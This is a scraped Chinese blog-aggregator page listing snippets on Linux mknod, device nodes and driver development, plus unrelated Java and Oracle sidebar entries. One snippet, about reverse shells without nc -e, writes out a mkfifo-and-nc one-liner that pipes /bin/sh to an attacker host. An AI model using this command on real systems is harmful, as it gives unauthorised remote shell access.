- LINUX2.6设备注册和GPIO子系统,linux2.6申请设备号,linux2.6注册相关API
东城南陌
驱动linux驱动开发单片机
一、linux2.6开发1.1linux2.6和杂项的区别杂项:驱动程序注册的一种方式,主设备号不用申请固定是10,次设备号0-255,固定填255自动分配次设备号。杂项注册完成之后他会自动的在/dev/目录下生成一个设备文件,一台设备最多只能挂载256个杂项设备。linux2.6:在linux2.6设备注册完成之后不会自动的生成设备文件,可以手工生成设备文件mknod/dev/myledc53也
- linux基础day08
不知道就
符号链接(symboliclink)文件,软链接(softlink)快捷方式:ln-srm4.字符(character)/块(block)设备文件以c开头的就是字符设备,猫等串口设备以b开头的就是块设备硬盘、光驱等都属于块设备mknod5.套接口(socket)文件以s开头.sock文件也是一类特殊的文件,这类文件通常用在网络之间,进行数据连接,如:我们可以启动一个程序来监听客户端的请求,客户端可
- lv15 驱动高级设备模型 1
4IOT
嵌入式开发linuxarm开发
之前的驱动操作称为硬编一、起源仅devfs(dev目录),导致开发不方便以及一些功能难以支持:热插拔(如何插入一个设备然后找到设备的驱动应用到程序中)不支持一些针对所有设备的统一操作(如电源管理)不能自动mknod用户查看不了设备信息(必须cat/proc/devices查看组设备号)设备信息硬编码,导致驱动代码通用性差,即没有分离设备和驱动二、新方案总设计原则:uevent机制:sysfs+ue
- mknod
菜鸟高工
Linuxlinux驱动开发
在系统与设备通信之前,系统首先要建立一个设备文件,这个设备文件存放在/dev目录下。其实系统默认情况下就已经生成了很多设备文件,但有时候我们需要自己手动新建一些设备文件,这个时候就会用到像mkdir,mknod这样的命令。mknod的标准形式为:mknodDEVNAME{b|c}MAJORMINOR1,DEVNAME是要创建的设备文件名,如果想将设备文件放在一个特定的文件夹下,就需要先用mkdir
- 嵌入式内核及驱动开发高级
@daiwei
linux内核和驱动开发驱动开发
目录第一部分一.设备模型#一、起源#二、新方案##2.1sysfs:一种用内存模拟的文件系统,系统启动时mount到/sys目录##2.2uevent#三、代码自动mknod二.知识补充第二部分一.平台总线框架之名臣匹配#一、总线、设备、驱动##1.1初期解决思路:设备和驱动分离##1.2升级思路:根据设备树,在系统启动时自动产生每个节点对应的设备#二、基本数据类型2.1structdevice2
- Linux 手动添加驱动与节点顺序
Chhjnavy
Linuxlinuxlinux驱动
1.编写驱动文件helloworld.c以及makefile文件2.make生成.ko文件3.动态加载驱动inmodhelloworld.ko查看:cat/proc/devices4.手动创建设备节点mknod/dev/helloworldc主设备号次设备号(c表示字符设备)查看:ls/dev5.编写应用程序helloworldApp.c,gcc-Wall-ohelloworldApphellow
- i.MX283开发板第一个Linux驱动-LED驱动改进
知否,知否
#EasyARM-imx283Linux自动创建设备节点
上一个博客i.MX283开发板第一个Linux驱动讲的是最简单的LED驱动的编写,但是其中还有一些不足。首先是在利用insmod加载驱动时,需要用指令mknod/dev/imx283_ledc2000手动创建设备节点,否则在/dev下是不会有我们的设备的,应用程序中open("/dev/imx283_led",O_RDWR)必然会失败。其次是利用register_chrdev函数注册设备会造成设备
- Linux入门攻坚——12、Linux网络属性配置相关知识2
kaoa000
linux初步linux
CentOS7网络属性配置:传统命名机制:以太网eth[0,1,2,...],wlan[0,1,2...]可预测功能的命名机制:udev支持多种不同的命名方案:Firmware,拓扑结构在对待设备文件这块,Linux改变了几次策略。早期,设备文件仅仅是一些带有适当的属性集的普通文件,它由mknod命令创建,文件存放在/dev目录下。后来,采用了devfs,一个基于内核的动态设备文件系统,他首次出现
- LFS 8.3 从零开始做自己的系统(二)~!~
weixin_34122604
开发工具操作系统python
六、构建LFS系统1.准备虚拟内核文件系统1)创建将挂载文件系统的目录:mkdir-pv$LFS/{dev,proc,sys,run}2)创建设备节点:mknod-m600$LFS/dev/consolec51mknod-m666$LFS/dev/nullc133)安装和填充/开发:mount-v--bind/dev$LFS/dev4)挂载虚拟内核文件系统:mount-vtdevptsdevpts
- nc不支持-e时的反弹
大囚长
黑客帝国hackers
如果你想要使用nc反弹shell,但是不能使用-e选项,你可以尝试以下的替代方法:使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容,并将其传递给/bin/sh执行,再将输出重定向到nc连接。例如:mkfifo/tmp/fcat/tmp/f|/bin/sh-i2>&1|ncattackeriplistenport>/tmp/f使用python或php脚本来执行系统
- Linux C语言 39-进程间通信IPC之管道
@Tianwx
LinuxC语言c语言开发语言linux网络服务器
LinuxC语言39-进程间通信IPC之管道本节关键字:C语言进程间通信管道FIFO相关库函数:pipe、mkfifo、mknod、write、read什么是管道?管道通常指“无名管道”,是Unix系统中最古老的IPC通信方式。管道的分类管道(无名管道)FIFO(命名管道)管道的特点管道(无名管道)半双工,数据只能由连接的一端发送到另一端,并且读端和写端固定;只能用于具有亲缘关系的进程通信,如父子
- Linux中open命令实现原理以及源码分析
Don't_Touch_Me
linuxlinux驱动开发open
在阅读该篇文章的前提,最好对mknod有一定的了解,前置知识点:Linux中mknod命令实现原理以及源码分析open原理我们经常在一个进程中使用open()来获取一个文件描述符fd,然后通过该fd去进行一些write()、read()操作。open()的原理是通过给定的文件路径/dev/hello,从而找到该文件路径所对应的inode信息,最后生成一个structfile结构体,该结构体在进程的
- python3怎么创建文件_Python3 判断文件和文件夹是否存在、创建文件夹
山田孝之
python3怎么创建文件
Python3判断文件和文件夹是否存在、创建文件夹python中对文件、文件夹的操作需要涉及到os模块和shutil模块。创建文件:1)os.mknod(“test.txt”)创建空文件2)open(“test.txt”,w)直接打开一个文件,如果文件不存在则创建文件创建目录:os.mkdir(“file”)创建目录复制文件:shutil.copyfile(“oldfile”,”newfile”)
- 解决:AttributeError: module ‘os’ has no attribute ‘mknod’
ninghes
Pythonpython
解决:AttributeError:module‘os’hasnoattribute‘mknod’文章目录解决:AttributeError:module'os'hasnoattribute'mknod'背景报错问题报错翻译报错位置代码报错原因解决方法今天的分享就到此结束了背景在使用之前的代码时,报错:os.mknod(r"C:\learn\test.txt")AttributeError:mod
- 【设备节点创建】
a珍爱上了a强
linuxlinux
创建设备节点1、静态创建设备文件节点2、动态创建设备文件节点本文章详细讲解如何在dev/下面创建设备节点,有通过mknod静态创建方式和使用Linux为我们提供的接口动态创建两种方式。1、静态创建设备文件节点我们可以在启动脚本里面提前创建好一个设备节点。/*设备节点名称为create_node,设备的主设备号为1300,从设备号为0,设备为字符设备*/mknode/dev/create_nodec
- 块设备的工作模式
key_3_feng
Linuxlinux
块设备的mknod还是会创建在/dev路径下面,这一点和字符设备一样。/dev路径下面是devtmpfs文件系统。这是块设备遇到的第一个文件系统。我们会为这个块设备文件,分配一个特殊的inode,这一点和字符设备也是一样的。只不过字符设备走S_ISCHR这个分支,对应inode的file_operations是def_chr_fops;而块设备走S_ISBLK这个分支,对应的inode的file_
- Linux驱动——设备模型
宇努力学习
驱动开发linux嵌入式驱动开发exynos_4412
目录一、起源二、新方案2.1sysfs:2.2uevent三、代码中自动mknod四、实例一、起源仅devfs,导致开发不方便以及一些功能难以支持:(硬编)1.热插拔(插上usb设备就立马能安装驱动)2.不支持一些针对所有设备的统一操作(如电源管理)3.不能自动mknod4.用户查看不了设备信息5.设备信息硬编码,导致驱动代码通用性差,即没有分离设备和驱动内核2.6开始引入总线式开发解决这些问题。
- python目录和文件的基本操作_Python文件与文件夹常见基本操作总结
weixin_39689622
本文实例讲述了Python文件与文件夹常见基本操作。分享给大家供大家参考,具体如下:1、判断文件(夹)是否存在。os.path.exists(pathname)2、判断路径名是否为文件。os.path.isfile(pathname)3、判断路径名是否为目录。os.path.isdir(pathname)4、创建文件。os.mknod(filename)#windows下不可用open(filen
- Linux 字符设备驱动结构(二)—— 自动创建设备节点
发如雪Jay
Linux驱动开发linux驱动开发
Linux字符设备驱动结构(二)——自动创建设备节点。第一种是使用mknod手工创建:mknodfilenametypemajorminor第二种是自动创建设备节点:利用udev(mdev)来实现设备文件的自动创建,首先应保证支持udev(mdev),由busybox配置。具体udev相关知识这里不详细阐述,可以移步Linux文件系统与设备文件系统:udev设备文件系统,这里主要讲使用方法。在驱动
- 文件操作
cd4254818c94
Python自带的os系统模块可以查看当前操作系统的版本、环境变量等基本信息,并可以执行对应的目录和文件的创建、重命名和删除等操作。os.mknod()方法用于创建一个指定文件名的文件系统节点(文件,设备特别文件或者命名pipe),语法如下:os.mknod(filename[,mode=0600[,device=0]])os.open()方法用于打开一个文件,并且设置需要的打开选项,模式参数mo
- Linux设备文件的创建
o^free
驱动开发linux
1.创建设备文件的两种方式(1)手动创建:mknod命令在驱动程序insmod成功之后,通过mknod命令手动创建设备文件至/dev目录下:mknod/dev/xxxc主设备号次设备号。("c"表示字符设备、"b"表示块设备、"p"表示网络设备)mknodmknod-m600/dev/spidev1.0c1530上面这条命令创建了spidev1.0设备,-m参数指定所创建设备的基本权限,spide
- Linux 字符设备驱动结构(二)—— 自动创建设备节点
zqixiao_09
Linux字符设备驱动开发Linux驱动开发基础嵌入式开发Linux驱动开发自动创建设备节点
上一篇我们介绍到创建设备文件的方法,利用cat/proc/devices查看申请到的设备名,设备号。第一种是使用mknod手工创建:mknodfilenametypemajorminor第二种是自动创建设备节点:利用udev(mdev)来实现设备文件的自动创建,首先应保证支持udev(mdev),由busybox配置。具体udev相关知识这里不详细阐述,可以移步Linux文件系统与设备文件系统——
- 新字符设备驱动
gdut_llkkyy
Linux读书笔记linux运维服务器linux驱动驱动开发
新字符设备驱动一、旧字符驱动回顾register_chrdev:注册字符设备。unregister_chrdev:注销字符设备。mknod:驱动模块加载成功以后还需要手动使用mknod命令创建设备节点。register_chrdev和unregister_chrdev这两个函数是老版本驱动使用的函数,现在新的字符设备驱动已经不再使用这两个函数,而是使用Linux内核推荐的新字符设备驱动API函数。
- 正点原子嵌入式linux驱动开发——新字符设备驱动实验
努力自学的小夏
linux学习linux驱动开发学习笔记stm32
经过之前两篇笔记的实战操作,已经掌握了Linux字符设备驱动开发的基本步骤,字符设备驱动开发重点是使用register_chrdev函数注册字符设备,当不再使用设备的时候就使用unregister_chrdev函数注销字符设备,驱动模块加载成功以后还需要手动使用mknod命令创建设备节点。register_chrdev和unregister_chrdev这两个函数是老版本驱动使用的函数,现在新的字
- 【嵌入式环境下linux内核及驱动学习笔记-(3-字符设备驱动详解)】
骑牛唱剧本
Linux内核与驱动linux内核与驱动字符设备
目录1、文件系统与设备驱动2、设备文件2.1linux的文件种类:2.2设备分类3、设备号3.1dev_t类型3.2与设备号相关的操作介绍3.2.1宏MKDEV3.2.2宏MAJOR3.2.3宏MINOR3.2.4命令mknod3.2.5register_chrdev_region()3.2.6alloc_chrdev_region()3.2.7unregister_chrdev_region()
- Linux设备驱动——自动创建设备节点udev机制的实现过程
daima转瞬即逝
嵌入式
创建设备文件的机制有以下下列几种:mknod命令:手动创建设备节点的命令devfs:可以用于创建设备节点,创建设备节点的逻辑在内核空间(内核2.4版本之前使用)udev:自动创建设备节点的机制,创建设备节点的逻辑在用户空间(从内核2.6版本一直使用至今)mdev:是一种轻量级的udev机制,用于一些嵌入式操作系统中今天我们只研究udev自动创建设备节点udev的实现过程,具体过程如下图:流程图:u
- 驱动开发 day3
lin---
驱动开发
总结:自动创建设备节点udev的流程1.如何创建节点手动创建:mknod地址设备文件类型主设备号次设备号(0-255)自动创建:devfs(创建节点的逻辑在内核--->2.4版本以前使用)udev(创建节点的逻辑在应用层)mdev(轻量级的udev)2.udev的流程1>硬件层接入,将硬件信息加载到内核层2>内核层向应用层提交目录(创建设备类:structclass)和设备节点(创建设备对象:st
- 驱动开发,udev机制创建设备节点的过程分析
ai加班的嵌入者
驱动开发驱动开发c语言linux
1.创建设备文件的机制种类mknod命令:手动创建设备节点的命令devfs:可以用于创建设备节点,创建设备节点的逻辑在内核空间(内核2.4版本之前使用)udev:自动创建设备节点的机制,创建设备节点的逻辑在用户空间(从内核2.6版本一直使用至今)mdev:是一种轻量级的udev机制,用于一些嵌入式操作系统中2.udev机制创建设备节点的过程分析总体分析:当在内核空间注册驱动后得到设备号,基于设备号
- 字符设备驱动三盏LED灯实验
qianyaner_
c语言stm32开发语言
编写驱动代码(字符设备驱动注册与注销,用户空间与内核空间进行数据传递,映射地址,断开映射地址)编译驱动代码(编写相关Makefile)安装(insmod)手动创建设备文件(mknod设备文件路径及名字c主设备号次设备号)编写应用程序测试相关代码:head.h#ifndef__HEAD_H__#define__HEAD_H__typedefstruct{unsignedintmoder;unsign
- linux限制用户ssh登陆_限制SSH远程登录用户仅能只读访问Linux中指定的目录
weixin_39633171
linux限制用户ssh登陆
背景需求:在TOMCAT服务器上建立一个普通帐号log_user,只能查看TOMCAT日志,不能删改任何文件,不能执行fdisk、df、dd、mkdir、yum等命令,不能访问日志目录以外的路径。系统:centos6.6tomcat安装路径:/opt/apache-tomcattomcat日志路径:/opt/apache-tomcat/logs操作过程:一、使用mknod命令在/opt建立/dev
- java观察者模式
3213213333332132
java设计模式游戏观察者模式
观察者模式——顾名思义,就是一个对象观察另一个对象,当被观察的对象发生变化时,观察者也会跟着变化。
在日常中,我们配java环境变量时,设置一个JAVAHOME变量,这就是被观察者,使用了JAVAHOME变量的对象都是观察者,一旦JAVAHOME的路径改动,其他的也会跟着改动。
这样的例子很多,我想用小时候玩的老鹰捉小鸡游戏来简单的描绘观察者模式。
老鹰会变成观察者,母鸡和小鸡是
- TFS RESTful API 模拟上传测试
ronin47
TFS RESTful API 模拟上传测试。
细节参看这里:https://github.com/alibaba/nginx-tfs/blob/master/TFS_RESTful_API.markdown
模拟POST上传一个图片:
curl --data-binary @/opt/tfs.png http
- PHP常用设计模式单例, 工厂, 观察者, 责任链, 装饰, 策略,适配,桥接模式
dcj3sjt126com
设计模式PHP
// 多态, 在JAVA中是这样用的, 其实在PHP当中可以自然消除, 因为参数是动态的, 你传什么过来都可以, 不限制类型, 直接调用类的方法
abstract class Tiger {
public abstract function climb();
}
class XTiger extends Tiger {
public function climb()
- hibernate
171815164
Hibernate
main,save
Configuration conf =new Configuration().configure();
SessionFactory sf=conf.buildSessionFactory();
Session sess=sf.openSession();
Transaction tx=sess.beginTransaction();
News a=new
- Ant实例分析
g21121
ant
下面是一个Ant构建文件的实例,通过这个实例我们可以很清楚的理顺构建一个项目的顺序及依赖关系,从而编写出更加合理的构建文件。
下面是build.xml的代码:
<?xml version="1
- [简单]工作记录_接口返回405原因
53873039oycg
工作
最近调接口时候一直报错,错误信息是:
responseCode:405
responseMsg:Method Not Allowed
接口请求方式Post.
- 关于java.lang.ClassNotFoundException 和 java.lang.NoClassDefFoundError 的区别
程序员是怎么炼成的
真正完成类的加载工作是通过调用 defineClass来实现的;
而启动类的加载过程是通过调用 loadClass来实现的;
就是类加载器分为加载和定义
protected Class<?> findClass(String name) throws ClassNotFoundExcept
- JDBC学习笔记-JDBC详细的操作流程
aijuans
jdbc
所有的JDBC应用程序都具有下面的基本流程: 1、加载数据库驱动并建立到数据库的连接。 2、执行SQL语句。 3、处理结果。 4、从数据库断开连接释放资源。
下面我们就来仔细看一看每一个步骤:
其实按照上面所说每个阶段都可得单独拿出来写成一个独立的类方法文件。共别的应用来调用。
1、加载数据库驱动并建立到数据库的连接:
Html代码
St
- rome创建rss
antonyup_2006
tomcatcmsxmlstrutsOpera
引用
1.RSS标准
RSS标准比较混乱,主要有以下3个系列
RSS 0.9x / 2.0 : RSS技术诞生于1999年的网景公司(Netscape),其发布了一个0.9版本的规范。2001年,RSS技术标准的发展工作被Userland Software公司的戴夫 温那(Dave Winer)所接手。陆续发布了0.9x的系列版本。当W3C小组发布RSS 1.0后,Dave W
- html表格和表单基础
百合不是茶
html表格表单meta锚点
第一次用html来写东西,感觉压力山大,每次看见别人发的都是比较牛逼的 再看看自己什么都还不会,
html是一种标记语言,其实很简单都是固定的格式
_----------------------------------------表格和表单
表格是html的重要组成部分,表格用在body里面的
主要用法如下;
<table>
&
- ibatis如何传入完整的sql语句
bijian1013
javasqlibatis
ibatis如何传入完整的sql语句?进一步说,String str ="select * from test_table",我想把str传入ibatis中执行,是传递整条sql语句。
解决办法:
<
- 精通Oracle10编程SQL(14)开发动态SQL
bijian1013
oracle数据库plsql
/*
*开发动态SQL
*/
--使用EXECUTE IMMEDIATE处理DDL操作
CREATE OR REPLACE PROCEDURE drop_table(table_name varchar2)
is
sql_statement varchar2(100);
begin
sql_statement:='DROP TABLE '||table_name;
- 【Linux命令】Linux工作中常用命令
bit1129
linux命令
不断的总结工作中常用的Linux命令
1.查看端口被哪个进程占用
通过这个命令可以得到占用8085端口的进程号,然后通过ps -ef|grep 进程号得到进程的详细信息
netstat -anp | grep 8085
察看进程ID对应的进程占用的端口号
netstat -anp | grep 进程ID
&
- 优秀网站和文档收集
白糖_
网站
集成 Flex, Spring, Hibernate 构建应用程序
性能测试工具-JMeter
Hmtl5-IOCN网站
Oracle精简版教程网站
鸟哥的linux私房菜
Jetty中文文档
50个jquery必备代码片段
swfobject.js检测flash版本号工具
- angular.extend
boyitech
AngularJSangular.extendAngularJS API
angular.extend 复制src对象中的属性去dst对象中. 支持多个src对象. 如果你不想改变一个对象,你可以把dst设为空对象{}: var object = angular.extend({}, object1, object2). 注意: angular.extend不支持递归复制. 使用方法: angular.extend(dst, src); 参数:
- java-谷歌面试题-设计方便提取中数的数据结构
bylijinnan
java
网上找了一下这道题的解答,但都是提供思路,没有提供具体实现。其中使用大小堆这个思路看似简单,但实现起来要考虑很多。
以下分别用排序数组和大小堆来实现。
使用大小堆:
import java.util.Arrays;
public class MedianInHeap {
/**
* 题目:设计方便提取中数的数据结构
* 设计一个数据结构,其中包含两个函数,1.插
- ajaxFileUpload 针对 ie jquery 1.7+不能使用问题修复版本
Chen.H
ajaxFileUploadie6ie7ie8ie9
jQuery.extend({
handleError: function( s, xhr, status, e ) {
// If a local callback was specified, fire it
if ( s.error ) {
s.error.call( s.context || s, xhr, status, e );
}
- [机器人制造原则]机器人的电池和存储器必须可以替换
comsci
制造
机器人的身体随时随地可能被外来力量所破坏,但是如果机器人的存储器和电池可以更换,那么这个机器人的思维和记忆力就可以保存下来,即使身体受到伤害,在把存储器取下来安装到一个新的身体上之后,原有的性格和能力都可以继续维持.....
另外,如果一
- Oracle Multitable INSERT 的用法
daizj
oracle
转载Oracle笔记-Multitable INSERT 的用法
http://blog.chinaunix.net/uid-8504518-id-3310531.html
一、Insert基础用法
语法:
Insert Into 表名 (字段1,字段2,字段3...)
Values (值1,
- 专访黑客历史学家George Dyson
datamachine
on
20世纪最具威力的两项发明——核弹和计算机出自同一时代、同一群年青人。可是,与大名鼎鼎的曼哈顿计划(第二次世界大战中美国原子弹研究计划)相 比,计算机的起源显得默默无闻。出身计算机世家的历史学家George Dyson在其新书《图灵大教堂》(Turing’s Cathedral)中讲述了阿兰·图灵、约翰·冯·诺依曼等一帮子天才小子创造计算机及预见计算机未来
- 小学6年级英语单词背诵第一课
dcj3sjt126com
englishword
always 总是
rice 水稻,米饭
before 在...之前
live 生活,居住
usual 通常的
early 早的
begin 开始
month 月份
year 年
last 最后的
east 东方的
high 高的
far 远的
window 窗户
world 世界
than 比...更
- 在线IT教育和在线IT高端教育
dcj3sjt126com
教育
codecademy
http://www.codecademy.com codeschool
https://www.codeschool.com teamtreehouse
http://teamtreehouse.com lynda
http://www.lynda.com/ Coursera
https://www.coursera.
- Struts2 xml校验框架所定义的校验文件
蕃薯耀
Struts2 xml校验Struts2 xml校验框架Struts2校验
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 2015年7月11日 15:54:59 星期六
http://fa
- mac下安装rar和unrar命令
hanqunfeng
mac
1.下载:http://www.rarlab.com/download.htm 选择
RAR 5.21 for Mac OS X 2.解压下载后的文件 tar -zxvf rarosx-5.2.1.tar 3.cd rar sudo install -c -o $USER unrar /bin #输入当前用户登录密码 sudo install -c -o $USER rar
- 三种将list转换为map的方法
jackyrong
list
在本文中,介绍三种将list转换为map的方法:
1) 传统方法
假设有某个类如下
class Movie {
private Integer rank;
private String description;
public Movie(Integer rank, String des
- 年轻程序员需要学习的5大经验
lampcy
工作PHP程序员
在过去的7年半时间里,我带过的软件实习生超过一打,也看到过数以百计的学生和毕业生的档案。我发现很多事情他们都需要学习。或许你会说,我说的不就是某种特定的技术、算法、数学,或者其他特定形式的知识吗?没错,这的确是需要学习的,但却并不是最重要的事情。他们需要学习的最重要的东西是“自我规范”。这些规范就是:尽可能地写出最简洁的代码;如果代码后期会因为改动而变得凌乱不堪就得重构;尽量删除没用的代码,并添加
- 评“女孩遭野蛮引产致终身不育 60万赔偿款1分未得”医腐深入骨髓
nannan408
先来看南方网的一则报道:
再正常不过的结婚、生子,对于29岁的郑畅来说,却是一个永远也无法实现的梦想。从2010年到2015年,从24岁到29岁,一张张新旧不一的诊断书记录了她病情的同时,也清晰地记下了她人生的悲哀。
粗暴手术让人发寒
2010年7月,在酒店做服务员的郑畅发现自己怀孕了,可男朋友却联系不上。在没有和家人商量的情况下,她决定堕胎。
12月5日,
- 使用jQuery为input输入框绑定回车键事件 VS 为a标签绑定click事件
Everyday都不同
jspinput回车键绑定clickenter
假设如题所示的事件为同一个,必须先把该js函数抽离出来,该函数定义了监听的处理:
function search() {
//监听函数略......
}
为input框绑定回车事件,当用户在文本框中输入搜索关键字时,按回车键,即可触发search():
//回车绑定
$(".search").keydown(fun
- EXT学习记录
tntxia
ext
1. 准备
(1) 官网:http://www.sencha.com/
里面有源代码和API文档下载。
EXT的域名已经从www.extjs.com改成了www.sencha.com ,但extjs这个域名会自动转到sencha上。
(2)帮助文档:
想要查看EXT的官方文档的话,可以去这里h
- mybatis3的mapper文件报Referenced file contains errors
xingguangsixian
mybatis
最近使用mybatis.3.1.0时无意中碰到一个问题:
The errors below were detected when validating the file "mybatis-3-mapper.dtd" via the file "account-mapper.xml". In most cases these errors can be d